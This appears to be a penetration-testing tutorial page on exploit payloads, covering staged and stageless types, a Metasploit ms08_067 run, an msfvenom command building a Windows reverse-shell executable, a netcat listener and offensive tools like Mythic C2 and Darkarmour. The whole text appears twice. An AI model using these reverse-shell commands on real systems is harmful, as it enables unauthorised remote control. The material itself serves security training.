Payloads

A payload is the actual code executed on a target machine after a successful exploitation. It can establish a connection with the attacker's system, execute commands, or escalate privileges.

Staged Payloads:

Sent in parts; downloads additional components upon execution.
Establishes an initial connection, then downloads the full payload.
Requires more memory; may be unstable in high-latency environments.

Staged example:

```
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.1.10.42:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769536 bytes) to 10.1.10.48
```

Stageless Payloads:

Sent as a single file.
More stealthy (less network traffic).
Works better in restricted bandwidth environments.

Stageless example:

```
└──╼ #msfvenom -p windows/shell_reverse_tcp LHOST=br0 LPORT=1337 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
```

Listener

```
└──╼ #nc -lvp 1337
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
```

a listener is a service or process that passively waits for incoming connections from a compromised system. Once the payload is executed on the target machine, it attempts to establish a connection back to the attacker's listener, allowing remote command execution, data exfiltration, or further exploitation.

Payload Generation

MSFVenom & Metasploit-Framework

Source MSF is an extremely versatile tool for any pentester's toolkit. It serves as a way to enumerate hosts, generate payloads, utilize public and custom exploits, and perform post-exploitation actions once on the host. Think of it as a swiss-army knife.

Payloads All The Things

Source Here, you can find many different resources and cheat sheets for payload generation and general methodology.

Mythic C2 Framework

Source The Mythic C2 framework is an alternative option to Metasploit as a Command and Control Framework and toolbox for unique payload generation.

Nishang

Source Nishang is a framework collection of Offensive PowerShell implants and scripts. It includes many utilities that can be useful to any pentester.

Darkarmour

Source Darkarmour is a tool to generate and utilize obfuscated binaries for use against Windows hosts.

Example list of payloads.

```
┌──(ethernal💀pentestlab)-[~]
└─$ msfvenom -l payloads

Framework Payloads (1463 total) [--payload <value>]
==================================================

    Name                                                Descri
    ----                                                ------
    aix/ppc/shell_bind_tcp                              Listen
    aix/ppc/shell_find_port                             Spawn
    aix/ppc/shell_interact                              Simply
    aix/ppc/shell_reverse_tcp                           Connec
```

Payloads

A payload is the actual code executed on a target machine after a successful exploitation. It can establish a connection with the attacker's system, execute commands, or escalate privileges.

Staged Payloads:

Sent in parts; downloads additional components upon execution.
Establishes an initial connection, then downloads the full payload.
Requires more memory; may be unstable in high-latency environments.

Staged example:

```
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.1.10.42:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769536 bytes) to 10.1.10.48
```

Stageless Payloads:

Sent as a single file.
More stealthy (less network traffic).
Works better in restricted bandwidth environments.

Stageless example:

```
└──╼ #msfvenom -p windows/shell_reverse_tcp LHOST=br0 LPORT=1337 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
```

Listener

```
└──╼ #nc -lvp 1337
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
```

a listener is a service or process that passively waits for incoming connections from a compromised system. Once the payload is executed on the target machine, it attempts to establish a connection back to the attacker's listener, allowing remote command execution, data exfiltration, or further exploitation.

Payload Generation

MSFVenom & Metasploit-Framework

Source MSF is an extremely versatile tool for any pentester's toolkit. It serves as a way to enumerate hosts, generate payloads, utilize public and custom exploits, and perform post-exploitation actions once on the host. Think of it as a swiss-army knife.

Payloads All The Things

Source Here, you can find many different resources and cheat sheets for payload generation and general methodology.

Mythic C2 Framework

Source The Mythic C2 framework is an alternative option to Metasploit as a Command and Control Framework and toolbox for unique payload generation.

Nishang

Source Nishang is a framework collection of Offensive PowerShell implants and scripts. It includes many utilities that can be useful to any pentester.

Darkarmour

Source Darkarmour is a tool to generate and utilize obfuscated binaries for use against Windows hosts.

Example list of payloads.

```
┌──(ethernal💀pentestlab)-[~]
└─$ msfvenom -l payloads

Framework Payloads (1463 total) [--payload <value>]
==================================================

    Name                                                Descri
    ----                                                ------
    aix/ppc/shell_bind_tcp                              Listen
    aix/ppc/shell_find_port                             Spawn
    aix/ppc/shell_interact                              Simply
    aix/ppc/shell_reverse_tcp                           Connec
```